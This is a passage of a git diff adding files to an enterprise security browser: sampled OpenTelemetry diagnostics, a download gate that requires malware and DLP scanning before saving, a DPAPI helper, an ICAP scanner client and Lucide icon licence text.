{OTLPLogExporter}=require('@opentelemetry/exporter-logs-otlp-http'); +const {trace,ROOT_CONTEXT,SpanStatusCode}=require('@opentelemetry/api'); +const names=new Set(['browser.network','browser.ipc','browser.agent','browser.management','browser.navigation','browser.dns','browser.request','browser.inspect.local','browser.inspect.enterprise','browser.download','browser.clipboard','browser.visual','browser.password.fill','browser.ai','browser.policy','browser.startup','browser.parser','browser.semantic','browser.yara','browser.icap','browser.tab','browser.security']); +const operations=new Set(['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group','state','authorize-setting','settings-update','window-control','chrome-layout','share-url','bookmarks-mutate','enroll','sso','navigate','back','forward','reload','ai','inspect-file','agent-connection','ai-panel','vault-panel','vault-status','vault-create','vault-unlock','vault-lock','vault-list','vault-save','vault-delete','vault-fill','vault-generate','tab-create','tab-activate','tab-close','tab-group','sessions','read','click','type','screenshot','copy','cut','paste','scan','download','sync','create','activate','close','group','policy','request','dns','parse','embed','yara','icap']); +const components=new Set(['browser','ipc','agent','management','navigation','network','dns','dlp','inspector','parser','semantic','yara','icap','download','clipboard','visual','vault','ai','policy','tabs']); +const decisions=new Set(['allow','block','deny','unknown']),statuses=new Set(['ok','error','cancelled','timeout']); +const requestTypes=new Set(['mainFrame','subFrame','stylesheet','script','image','font','object','xhr','ping','cspReport','media','webSocket','other']); +const uuid=/^[a-f0-9]{8}-[a-f0-9]{4}-[1-5][a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12}$/i; +function attributes(input){const out={};if(!input||typeof input!=='object')return out;for(const [key,descriptor]of Object.entries(Object.getOwnPropertyDescriptors(input))){if(!('value'in descriptor))continue;const value=descriptor.value; + if(['sessionId','deviceId'].includes(key)&&typeof value==='string'&&uuid.test(value))out[key==='sessionId'?'safetynet.session.id':'safetynet.device.id']=value; + else if(['policyVersion','bytes','count'].includes(key)&&Number.isSafeInteger(value)&&value>=0)out[key==='policyVersion'?'safetynet.policy.version':`safetynet.${key}`]=value; + else if(key==='durationMs'&&Number.isFinite(value)&&value>=0&&value<=86400000)out['safetynet.duration.ms']=value; + else if(key==='operation'&&operations.has(value))out['safetynet.operation']=value; + else if(key==='component'&&components.has(value))out['safetynet.component']=value; + else if(key==='decision'&&decisions.has(value))out['dlp.decision']=value; + else if(key==='status'&&statuses.has(value))out['safetynet.status']=value; + else if(key==='requestType'&&requestTypes.has(value))out['safetynet.request.type']=value; + }return out;} +function endpointAllowed(value){try{const u=new URL(value);if(u.username||u.password||u.search||u.hash)return false;const host=u.hostname.replace(/^\[|\]$/g,'');return u.protocol==='https:'||(u.protocol==='http:'&&(host==='::1'||/^127\.(?:\d{1,3}\.){2}\d{1,3}$/.test(host)&&host.split('.').every(p=>+p<=255)));}catch{return false;}} +function valid(config){return config&&config.enabled===true&&['operational','debug'].includes(config.mode)&&endpointAllowed(config.endpoint)&&['sampleRate','debugSampleRate'].every(k=>Number.isFinite(config[k])&&config[k]>=0&&config[k]<=1)&&Number.isSafeInteger(config.maxQueueSize)&&config.maxQueueSize>=16&&config.maxQueueSize<=4096&&Number.isSafeInteger(config.flushIntervalMs)&&config.flushIntervalMs>=250&&config.flushIntervalMs<=10000&&Number.isSafeInteger(config.maxRecordAgeMs)&&config.maxRecordAgeMs>=1000&&config.maxRecordAgeMs<=300000&&Number.isSafeInteger(config.exportTimeoutMs)&&config.exportTimeoutMs>=250&&config.exportTimeoutMs<=10000;} +const defaults={enabled:false,mode:'operational',sampleRate:0.1,debugSampleRate:1,maxQueueSize:512,flushIntervalMs:2000,maxRecordAgeMs:30000,exportTimeoutMs:2000}; +function createDiagnostics(){const storage=new AsyncLocalStorage();let generation=null,configurationKey='',closed=false;const retiring=new Set();let activeSpans=0; + function retire(current){if(!current)return;current.active=false;for(const agent of current.agents)agent.destroy();const pending=Promise.allSettled([current.tracerProvider?.shutdown(),current.loggerProvider?.shutdown()]);retiring.add(pending);pending.finally(()=>retiring.delete(pending));} + function gatedExporter(exporter,current){return {export(records,callback){if(!current.active){callback({code:0});return;}const now=Date.now(),fresh=records.filter(record=>{const timestamp=record.endTime||record.hrTime||record.hrTimeObserved;return timestamp&&now-(timestamp[0]*1000+timestamp[1]/1e6)<=current.config.maxRecordAgeMs;});if(!fresh.length){callback({code:0});return;}try{exporter.export(fresh,result=>{if(result.code!==0)current.failedExports++;callback(result);});}catch{current.failedExports++;callback({code:1});}},shutdown:()=>exporter.shutdown(),forceFlush:()=>exporter.forceFlush?.()||Promise.resolve()};} + function configure(input={},context={}){if(closed)return false;const config={...defaults,...input};const key=JSON.stringify([config,attributes(context)]);if(key===configurationKey)return !!generation?.active;configurationKey=key;const previous=generation;generation=null;retire(previous);if(!valid(config)||retiring.size>=4)return false; + let current;try{current={active:true,config,context:attributes(context),agents:new Set(),failedExports:0}; + const agentFactory=async protocol=>{const Base=protocol==='https:'?https.Agent:http.Agent;class PrivateAgent extends Base{addRequest(request,options){if(!current.active){request.destroy(Error('Diagnostics disabled'));return;}for(const key of request.getHeaderNames())if(!['host','content-type','content-length','user-agent'].includes(key.toLowerCase()))request.removeHeader(key);super.addRequest(request,options);}} + const agent=new PrivateAgent({keepAlive:false,maxSockets:1,rejectUnauthorized:true});current.agents.add(agent);return agent;}; + const base=config.endpoint.replace(/\/$/,'');const exporterConfig=path=>({url:base+path,headers:{},timeoutMillis:config.exportTimeoutMs,concurrencyLimit:1,compression:'none',httpAgentOptions:agentFactory}); + const resource=resourceFromAttributes({'service.name':'safetynet-browser','service.version':'0.1.0','safetynet.diagnostics.mode':config.mode}); + const limits={maxQueueSize:config.maxQueueSize,maxExportBatchSize:Math.min(config.maxQueueSize,128),scheduledDelayMillis:config.flushIntervalMs,exportTimeoutMillis:config.exportTimeoutMs}; + current.tracerProvider=new TracerProvider({resource,sampler:new ParentBasedSampler({root:new TraceIdRatioBasedSampler(config.mode==='debug'?config.debugSampleRate:config.sampleRate)}),spanLimits:{attributeCountLimit:20,attributeValueLengthLimit:64,eventCountLimit:0,linkCountLimit:0},spanProcessors:[new BatchSpanProcessor({...limits,exporter:gatedExporter(new OTLPTraceExporter(exporterConfig('/v1/traces')),current)})]}); + current.loggerProvider=new LoggerProvider({resource,logRecordLimits:{attributeCountLimit:20,attributeValueLengthLimit:64},processors:[new BatchLogRecordProcessor({...limits,exporter:gatedExporter(new OTLPLogExporter(exporterConfig('/v1/logs')),current)})]});current.tracer=current.tracerProvider.getTracer('safetynet.browser','0.1.0');current.logger=current.loggerProvider.getLogger('safetynet.browser','0.1.0');generation=current;return true; + }catch{generation=null;retire(current);return false;} + } + function event(name,input={}){const current=generation;if(!current?.active||!names.has(name))return;try{const parent=storage.getStore(),rate=current.config.mode==='debug'?current.config.debugSampleRate:current.config.sampleRate;if(parent?.generation===current){if(!parent.span.isRecording())return;}else if(randomInt(1000000)>=Math.floor(rate*1000000))return; + current.logger.emit({severityNumber:9,severityText:'INFO',body:name,attributes:{...current.context,...attributes(input)},...(parent?.generation===current?{context:trace.setSpan(ROOT_CONTEXT,parent.span)}:{})}); + }catch{} + } + async function span(name,input,fn){if(typeof fn!=='function')throw TypeError('Diagnostics operation requires a function');const current=generation;if(!current?.active||!names.has(name)||activeSpans>=128)return fn();let nativeSpan;try{const parent=storage.getStore(),context=parent?.generation===current?trace.setSpan(ROOT_CONTEXT,parent.span):ROOT_CONTEXT;nativeSpan=current.tracer.startSpan(name,{attributes:{...current.context,...attributes(input)}},context);}catch{return fn();} + activeSpans++;const started=performance.now();let status='ok';try{const result=await storage.run({generation:current,span:nativeSpan},fn);try{nativeSpan.setStatus({code:SpanStatusCode.OK});}catch{}return result;}catch(error){status='error';try{nativeSpan.setStatus({code:SpanStatusCode.ERROR});nativeSpan.setAttribute('error.type',error instanceof TypeError?'TypeError':error instanceof RangeError?'RangeError':'Error');}catch{}throw error;}finally{activeSpans--;try{const sampled=nativeSpan.isRecording();nativeSpan.setAttribute('safetynet.status',status);nativeSpan.setAttribute('safetynet.duration.ms',Math.max(0,performance.now()-started));nativeSpan.end();if(current.active&&sampled)current.logger.emit({severityNumber:9,severityText:'INFO',body:name,attributes:{...current.context,...attributes(input),'safetynet.status':status,'safetynet.duration.ms':Math.max(0,performance.now()-started)},context:trace.setSpan(ROOT_CONTEXT,nativeSpan)});}catch{}} + } + async function flush(){const current=generation;if(!current?.active)return;await Promise.allSettled([current.tracerProvider.forceFlush({timeoutMillis:current.config.exportTimeoutMs}),current.loggerProvider.forceFlush({timeoutMillis:current.config.exportTimeoutMs})]);} + async function shutdown(){if(closed)return;await flush();closed=true;const current=generation;generation=null;retire(current);await Promise.allSettled([...retiring]);} + return {configure,span,event,flush,shutdown,correlation:()=>{const parent=storage.getStore();if(!parent||parent.generation!==generation||!generation?.active||!parent.span.isRecording())return {};const ids=parent.span.spanContext();return {traceId:ids.traceId,spanId:ids.spanId};},status:()=>({enabled:!!generation?.active,mode:generation?.config.mode||'operational',failedExports:generation?.failedExports||0,activeSpans})}; +} +module.exports={createDiagnostics,attributes,endpointAllowed}; diff --git a/apps/browser/download-gate.cjs b/apps/browser/download-gate.cjs new file mode 100644 index 0000000..44efb2b --- /dev/null +++ b/apps/browser/download-gate.cjs @@ -0,0 +1,45 @@ +'use strict'; +const {safeFilename:filename,inspectFileTransfer}=require('../../packages/core/file-transfer.cjs'); +const {createHash}=require('node:crypto'); +function createDownloadGate({getContext,isCurrent,fetchResponse,scan,choosePath,writeFile,audit,status}){ + let busy=false; + return async function download({url,name,method,webContentsId}){ + const context=getContext(webContentsId);let bytes,facts; + const auditFacts=()=>facts?{bytes:facts.size,detectedType:facts.detectedType,sha256:facts.sha256}:{}; + const deny=async reason=>{await audit('download.block',reason,new URL(url).hostname,auditFacts());status?.(`Download blocked: ${reason}`);return {released:false,reason};}; + if(busy)return deny('download-busy'); + if(!context||context.webContentsId!==webContentsId)return deny('unmanaged-download'); + if(!context.ready||!context.policy?.browser.allowDownloads)return deny('downloads-disabled'); + const yara=context.policy.security?.yara,icap=context.policy.enterprise?.icap; + const hasYara=!!yara?.enabled&&!!yara.rules.length,hasIcap=!!icap?.enabled&&icap.scanDownloads!==false; + if(yara?.enabled&&!hasYara)return deny('yara-required'); + if(!hasYara&&!hasIcap&&!context.policy.fileTransfers?.download?.allowWithoutMalwareScanner)return deny('malware-scanner-required'); + if(method!=='GET'||!/^https?:\/\//.test(url))return deny('unsupported-download'); + if(!isCurrent(context))return deny('policy-changed'); + busy=true;const controller=new AbortController(),timeout=setTimeout(()=>controller.abort(),45000); + try{ + const response=await fetchResponse(url,{signal:controller.signal,cache:'no-store',credentials:'include',redirect:'error'}); + if(!response.ok||!response.body)return deny('download-fetch-failed'); + const limit=Math.min(hasYara?yara.maxScanBytes:20*1024*1024,hasIcap?icap.maxBytes:20*1024*1024,context.policy.fileTransfers?.download?.maxBytes??20*1024*1024); + const length=response.headers.get('content-length');if(length&&Number(length)>limit)return deny('download-size-limit'); + const reader=response.body.getReader(),chunks=[];let size=0; + try{for(;;){const {value,done}=await reader.read();if(done)break;size+=value.length;if(size>limit){await reader.cancel();return deny('download-size-limit');}chunks.push(Buffer.from(value));}} + finally{reader.releaseLock();} + bytes=Buffer.concat(chunks);const digest=createHash('sha256').update(bytes).digest('hex'); + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + facts=inspectFileTransfer(bytes,context.policy,'download',{filename:name,mime:response.headers.get('content-type')});if(facts.decision!=='allow')return deny(facts.ruleId); + const result=await scan(bytes,context.policy); + if(result.decision!=='allow'||result.coverage?.complete!==true||result.sha256!==digest)return deny(result.ruleId||'yara-scan-incomplete'); + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + const scanLabel=hasYara&&hasIcap?'yara-icap-allow':hasYara?'yara-allow':hasIcap?'icap-allow':'explicit-no-antivirus'; + await audit('download.scan',scanLabel,new URL(url).hostname,auditFacts()); + const selected=await choosePath(filename(name));if(!selected)return {released:false,reason:'user-cancelled'}; + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + // The only file-writing operation occurs after verified scanning of these exact bytes. + await writeFile(selected,bytes,()=>isCurrent(context)&&!controller.signal.aborted); + await audit('download.released',scanLabel,new URL(url).hostname,auditFacts());status?.('Download scanned and saved.');return {released:true,sha256:digest,facts}; + }catch{return deny('download-inspection-failed');} + finally{clearTimeout(timeout);bytes?.fill(0);busy=false;} + }; +} +module.exports={createDownloadGate,filename}; diff --git a/apps/browser/dpapi.cjs b/apps/browser/dpapi.cjs new file mode 100644 index 0000000..c5b2a53 --- /dev/null +++ b/apps/browser/dpapi.cjs @@ -0,0 +1,20 @@ +const {app}=require('electron'); +const {spawn}=require('node:child_process'); +const path=require('node:path'); +function capabilityCrypto(operation,input){ + const root=path.join(__dirname,'../..'); + const python=app.isPackaged?path.join(process.resourcesPath,'python/python.exe'):path.join(root,'.runtime/windows/python/python.exe'); + const script=app.isPackaged?path.join(process.resourcesPath,'inspector/dpapi.py'):path.join(root,'apps/inspector/dpapi.py'); + if(!['protect','unprotect'].includes(operation)||Buffer.byteLength(input)>32768)return Promise.reject(Error('Capability rejected')); + return new Promise((resolve,reject)=>{ + const environment={...process.env};for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','INSPECTOR_TOKEN','SIEM_HTTP_TOKEN','SAFETYNET_PROXY_PASSWORD'])delete environment[key]; + const child=spawn(python,[script,operation],{windowsHide:true,stdio:['pipe','pipe','pipe'],env:environment});let output='',settled=false; + const timer=setTimeout(()=>{child.kill();fail();},5000); + function fail(){if(!settled){settled=true;clearTimeout(timer);reject(Error('Windows capability protection failed'));}} + child.on('error',fail);child.stdin.on('error',fail);child.stderr.on('data',()=>{}); + child.stdout.on('data',data=>{output+=data;if(output.length>65536){child.kill();fail();}}); + child.on('close',code=>{if(code!==0||!output)return fail();if(!settled){settled=true;clearTimeout(timer);resolve(output);}}); + child.stdin.end(input); + }); +} +module.exports={capabilityCrypto}; diff --git a/apps/browser/enterprise-inspection.cjs b/apps/browser/enterprise-inspection.cjs new file mode 100644 index 0000000..4fea2fa --- /dev/null +++ b/apps/browser/enterprise-inspection.cjs @@ -0,0 +1,47 @@ +'use strict'; +const fs=require('node:fs'); +const {createHash}=require('node:crypto'); +const {detectType,inspectFileTransfer}=require('../../packages/core/file-transfer.cjs'); +const CHANNELS={upload:'scanUploads',download:'scanDownloads',clipboard:'scanClipboard',ai:'scanAI'}; +function icapRequired(policy,channel){if(!Object.hasOwn(CHANNELS,channel))throw Error('Unsupported enterprise inspection channel');const settings=policy.enterprise?.icap;return !!settings?.enabled&&settings[CHANNELS[channel]]!==false;} +function deploymentTLS(){ + const options={};for(const [key,name] of [['ca','SAFETYNET_ICAP_CA_FILE'],['cert','SAFETYNET_ICAP_CERT_FILE'],['key','SAFETYNET_ICAP_KEY_FILE']]){if(process.env[name]){const stat=fs.statSync(process.env[name]);if(!stat.isFile()||stat.size>131072)throw Error('Enterprise scanner certificate configuration unavailable');options[key]=fs.readFileSync(process.env[name]);}} + if(!!options.cert!==!!options.key)throw Error('Enterprise scanner client identity incomplete');return options; +} +async function scanEnterprise(bytes,policy,channel,scanner){ + const digest=createHash('sha256').update(bytes).digest('hex'); + const base={engine:'icap',sha256:digest,bytes:bytes.length,coverage:{complete:false},decision:'block',ruleId:'icap-unavailable'}; + if(!icapRequired(policy,channel))return {...base,engine:'not-required',decision:'allow',ruleId:null,coverage:{complete:true}}; + const snapshot=Buffer.from(bytes); + try{ + const result=await (scanner||require('./icap-client.cjs').scanIcap)(snapshot,policy.enterprise.icap,deploymentTLS()); + if(result.decision==='allow'&&result.coverage?.complete===true&&result.sha256===digest&&result.bytes===snapshot.length&&createHash('sha256').update(snapshot).digest('hex')===digest)return {...base,...result}; + return {...base,ruleId:typeof result.ruleId==='string'&&/^icap-[a-z0-9-]{1,80}$/.test(result.ruleId)?result.ruleId:'icap-inspection-incomplete'}; + }catch{return base;} + finally{snapshot.fill(0);} +} +async function scanDownloadEnterprise(bytes,policy,localInspector,scanner){ + const digest=createHash('sha256').update(bytes).digest('hex'); + const blocked=ruleId=>({decision:'block',ruleId,engine:'enterprise',sha256:digest,bytes:bytes.length,coverage:{complete:false}}); + const fileVerdict=inspectFileTransfer(bytes,policy,'download');if(fileVerdict.decision!=='allow')return blocked(fileVerdict.ruleId); + const noAv=!policy.security?.yara.enabled&&!icapRequired(policy,'download'); + if(noAv&&!policy.fileTransfers?.download?.allowWithoutMalwareScanner)return blocked('malware-scanner-required'); + // Antivirus clean does not classify company secrets. Supported documents always + // require the contained DLP parser; explicit no-antivirus mode still requires DLP. + if(noAv||policy.dlp?.semantic?.enabled||['pdf','zip','png','jpeg','gif','webp','text'].includes(detectType(bytes))){ + if(!localInspector?.inspect)return blocked('download-dlp-unavailable'); + let dlp;try{dlp=await localInspector.inspect(bytes,policy);}catch{return blocked('download-dlp-unavailable');} + if(dlp.decision!=='allow')return blocked(typeof dlp.ruleId==='string'?dlp.ruleId:'download-dlp-blocked'); + if(dlp.coverage?.complete!==true)return blocked('download-dlp-incomplete'); + } + if(noAv)return {decision:'allow',ruleId:null,engine:'explicit-no-antivirus',sha256:digest,bytes:bytes.length,coverage:{complete:true}}; + if(policy.security?.yara.enabled){ + if(!localInspector)return blocked('yara-unavailable'); + let local;try{local=await localInspector.scanDownload(bytes,policy);}catch{return blocked('yara-unavailable');} + if(local.decision!=='allow')return local; + if(local.coverage?.complete!==true||local.sha256!==digest||local.bytes!==bytes.length)return blocked('yara-inspection-incomplete'); + if(!icapRequired(policy,'download'))return local; + } + return scanEnterprise(bytes,policy,'download',scanner); +} +module.exports={icapRequired,scanEnterprise,scanDownloadEnterprise,deploymentTLS}; diff --git a/apps/browser/icap-client.cjs b/apps/browser/icap-client.cjs new file mode 100644 index 0000000..d5a26e1 --- /dev/null +++ b/apps/browser/icap-client.cjs @@ -0,0 +1,97 @@ +'use strict'; +// RFC 3507, full-message ICAP only. Adapted objects are never released as originals. +// TLS follows the endpoint trust chain and hostname; deployment credentials stay local. +const net = require('node:net'); +const tls = require('node:tls'); +const crypto = require('node:crypto'); +const HEADER_LIMIT = 32768, ABSOLUTE_LIMIT = 32 * 1024 * 1024; +function configuration(config) { + const url = new URL(config.url); + if (!['icap:', 'icaps:'].includes(url.protocol) || url.username || url.password || url.search || url.hash || /[\r\n]/.test(config.url)) throw Error('configuration'); + const host = url.hostname.replace(/^\[|\]$/g, ''); + const loopback = host === 'localhost' || host === '::1' || (net.isIP(host) === 4 && host.split('.')[0] === '127'); + if (url.protocol === 'icap:' && !loopback && config.allowInsecureTransport !== true) throw Error('configuration'); + if (!['RESPMOD', 'REQMOD'].includes(config.method || 'RESPMOD')) throw Error('configuration'); + const maxBytes = config.maxBytes ?? ABSOLUTE_LIMIT, timeoutMs = config.timeoutMs ?? 10000; + if (!Number.isInteger(maxBytes) || maxBytes < 1 || maxBytes > ABSOLUTE_LIMIT || !Number.isInteger(timeoutMs) || timeoutMs < 50 || timeoutMs > 120000) throw Error('configuration'); + const port = Number(url.port || (url.protocol === 'icaps:' ? 11344 : 1344)); + if (!Number.isInteger(port) || port < 1 || port > 65535) throw Error('configuration'); + return {url, host, connectHost:host === 'localhost' ? '127.0.0.1' : host, port, method: config.method || 'RESPMOD', maxBytes, timeoutMs, allow204: config.allow204 === true}; +} +function headers(bytes) { + const lines = bytes.toString('latin1').split('\r\n'); + const match = /^ICAP\/1\.0 ([0-9]{3})(?: [\x20-\x7e]*)?$/.exec(lines.shift()); + if (!match) throw Error('protocol'); + const values = Object.create(null); + for (const line of lines) { + const header = /^([!#$%&'*+.^_`|~0-9A-Za-z-]+):[ \t]*([\x20-\x7e\t]*)$/.exec(line); + if (!header) throw Error('protocol'); + const name = header[1].toLowerCase(); + if (Object.hasOwn(values, name)) throw Error('protocol'); + values[name] = header[2].trim(); + } + return {status: Number(match[1]), values}; +} +function exchange(c, request, deadline, credentials = {}) { + return new Promise((resolve, reject) => { + let socket, buffered = Buffer.alloc(0), finished = false, sent = false; + const finish = (error, response) => { if (finished) return; finished = true; clearTimeout(timer); socket?.destroy(); error ? reject(Error('ICAP unavailable')) : resolve(response); }; + const timer = setTimeout(() => finish(true), Math.max(1, deadline - Date.now())); + const connect = () => socket.write(request, error => { if (error) finish(true); else sent = true; }); + try { + socket = c.url.protocol === 'icaps:' ? tls.connect({host:c.connectHost, port:c.port, servername:net.isIP(c.host) ? undefined : c.host, rejectUnauthorized:true, minVersion:'TLSv1.2', ca:credentials.ca, cert:credentials.cert, key:credentials.key}, connect) : net.connect({host:c.connectHost,port:c.port}, connect); + socket.on('error', () => finish(true)); + socket.on('end', () => finish(true)); + socket.on('data', chunk => { + try { + if (buffered.length + chunk.length > HEADER_LIMIT) throw Error('protocol'); + buffered = Buffer.concat([buffered,chunk]); + const boundary = buffered.indexOf('\r\n\r\n'); + if (boundary < 0) return; + const response = headers(buffered.subarray(0,boundary)); + // No preview is sent: a premature verdict cannot attest complete inspection. + if (!sent || response.status === 100) throw Error('protocol'); + const bodyBytes = buffered.length - boundary - 4; + // Adaptations are blocked immediately; do not consume arbitrary vendor bodies. + if (response.status === 204 && bodyBytes !== 0) throw Error('protocol'); + finish(false,response); + } catch { finish(true); } + }); + } catch { finish(true); } + }); +} +function request(c, method, encapsulation, body = Buffer.alloc(0)) { + const allow = method !== 'OPTIONS' && c.allow204 ? 'Allow: 204\r\n' : ''; + return Buffer.concat([Buffer.from(`${method} ${c.url.href} ICAP/1.0\r\nHost: ${c.url.host}\r\nUser-Agent: S-Browser/1\r\nConnection: close\r\n${allow}Encapsulated: ${encapsulation}\r\n\r\n`,'ascii'),body]); +} +async function negotiate(c, deadline, options) { + const response = await exchange(c,request(c,'OPTIONS','null-body=0'),deadline,options); + if (response.status !== 200 || response.values.encapsulated !== 'null-body=0' || !response.values.istag || !response.values.methods?.split(/\s*,\s*/).includes(c.method)) throw Error('unsupported'); + return response.values.allow?.split(/\s*,\s*/).includes('204') === true; +} +async function probeIcap(config, options = {}) { + try { const c = configuration(config); const allow204 = await negotiate(c,Date.now()+c.timeoutMs,options); return {ready:!c.allow204 || allow204,engine:'icap',method:c.method,tls:c.url.protocol === 'icaps:',allow204}; } + catch { return {ready:false,engine:'icap'}; } +} +async function scanIcap(input, config, options = {}) { + // Snapshot before any await: the approval is bound to exactly these bytes. + const bytes = Buffer.from(input); + const result = (decision,ruleId,complete) => ({decision,ruleId,engine:'icap',sha256:crypto.createHash('sha256').update(bytes).digest('hex'),bytes:bytes.length,coverage:{complete}}); + try { + const c = configuration(config); + if (bytes.length > c.maxBytes) return result('block','icap-oversize',false); + const deadline = Date.now()+c.timeoutMs; + const negotiated = await negotiate(c,deadline,options); + if (c.allow204 && !negotiated) return result('block','icap-capability',false); + // Synthetic metadata avoids sending usernames, private URLs or filenames. + const http = Buffer.from(c.method === 'RESPMOD' ? `HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: ${bytes.length}\r\n\r\n` : `POST /scan/object HTTP/1.1\r\nHost: inspection.invalid\r\nContent-Type: application/octet-stream\r\nContent-Length: ${bytes.length}\r\n\r\n`,'ascii'); + const chunk = bytes.length ? Buffer.concat([Buffer.from(bytes.length.toString(16)+'\r\n'),bytes,Buffer.from('\r\n0\r\n\r\n')]) : Buffer.from('0\r\n\r\n'); + const prefix = c.method === 'RESPMOD' ? 'res' : 'req'; + const response = await exchange(c,request(c,c.method,`${prefix}-hdr=0, ${prefix}-body=${http.length}`,Buffer.concat([http,chunk])),deadline,options); + const flagged = Object.keys(response.values).some(name => ['x-infection-found','x-virus-id','x-violations-found','x-block-reason'].includes(name)); + if (flagged) return result('block','icap-threat',false); + if (response.status === 204 && c.allow204 && negotiated && response.values.istag && (!response.values.encapsulated || response.values.encapsulated === 'null-body=0')) return result('allow','icap-clean',true); + return result('block',response.status === 200 ? 'icap-adaptation' : 'icap-verdict',false); + } catch { return result('block','icap-unavailable',false); } +} +module.exports = {scanIcap,probeIcap}; diff --git a/apps/browser/icons/LICENSE b/apps/browser/icons/LICENSE new file mode 100644 index 0000000..718bb3f --- /dev/null +++ b/apps/browser/icons/LICENSE @@ -0,0 +1,43 @@ +ISC License + +Copyright (c) 2026 Lucide Icons and Contributors + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +--- + +The following Lucide icons are derived from the Feather project: + +airplay, alert-circle, alert-octagon, alert-triangle, aperture, arrow-down-circle, arrow-down-left, arrow-down-right, arrow-down, arrow-left-circle, arrow-left, arrow-right-circle, arrow-right, arrow-up-circle, arrow-up-left, arrow-up-right, arrow-up, at-sign, calendar, cast, check, chevron-down, chevron-left, chevron-right, chevron-up, chevrons-down, chevrons-left, chevrons-right, chevrons-up, circle, clipboard, clock, code, columns, command, compass, corner-down-left, corner-down-right, corner-left-down, corner-left-up, corner-right-down, corner-right-up, corner-up-left, corner-up-right, crosshair, database, divide-circle, divide-square, dollar-sign, download, external-link, feather, frown, hash, headphones, help-circle, info, italic, key, layout, life-buoy, link-2, link, loader, lock, log-in, log-out, maximize, meh, minimize, minimize-2, minus-circle, minus-square, minus, monitor, moon, more-horizontal, more-vertical, move, music, navigation-2, navigation, octagon, pause-circle, percent, plus-circle, plus-square, plus, power, radio, rss, search, server, share, shopping-bag, sidebar, smartphone, smile, square, table-2, tablet, target, terminal, trash-2, trash, triangle, tv, type, upload, x-circle, x-octagon, x-square, x, zoom-in, zoom-out + +The MIT License (MIT) (for the icons listed above) + +Copyright (c) 2013-present Cole Bemis + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/apps/browser/icons/arrow-up.svg b/apps/browser/icons/arrow-up.svg new file mode 100644 index 0000000..f5f026a --- /dev/null +++ b/apps/browser/icons/arrow-up.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/book-open.svg b/apps/browser/icons/book-open.svg new file mode 100644 index 0000000..9aabd56 --- /dev/null +++ b/apps/browser/icons/book-open.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/bookmark-plus.svg b/apps/browser/icons/bookmark-plus.svg new file mode 100644 index 0000000..92881bf --- /dev/null +++ b/apps/browser/icons/bookmark-plus.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/bookmark.svg b/apps/browser/icons/bookmark.svg new file mode 100644 index 0000000..49b11d2 --- /dev/null +++ b/apps/browser/icons/bookmark.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/bot.svg b/apps/browser/icons/bot.svg new file mode 100644 index 0000000..16e9909 --- /dev/null +++ b/apps/browser/icons/bot.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/apps/browser/icons/chevron-left.svg b/apps/browser/icons/chevron-left.svg new file mode 100644 index 0000000..29e8688 --- /dev/null +++ b/apps/browser/icons/chevron-left.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/chevron-right.svg b/apps/browser/icons/chevron-right.svg new file mode 100644 index 0000000..14c1742 --- /dev/null +++ b/apps/browser/icons/chevron-right.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/ellipsis.svg b/apps/browser/icons/ellipsis.svg new file mode 100644 index 0000000..9137a5d --- /dev/null +++ b/apps/browser/icons/ellipsis.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/folder.svg b/apps/browser/icons/folder.svg new file mode 100644 index 0000000..077f257 --- /dev/null +++ b/apps/browser/icons/folder.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/globe.svg b/apps/browser/icons/globe.svg new file mode 100644 index 0000000..8bf9b3b --- /dev/null +++ b/apps/browser/icons/globe.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/grid-2x2.svg b/apps/browser/icons/grid-2x2.svg new file mode 100644 index 0000000..f7078e2 --- /dev/null +++ b/apps/browser/icons/grid-2x2.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/key-round.svg b/apps/browser/icons/key-round.svg new file mode 100644 index 0000000..7ae62a7 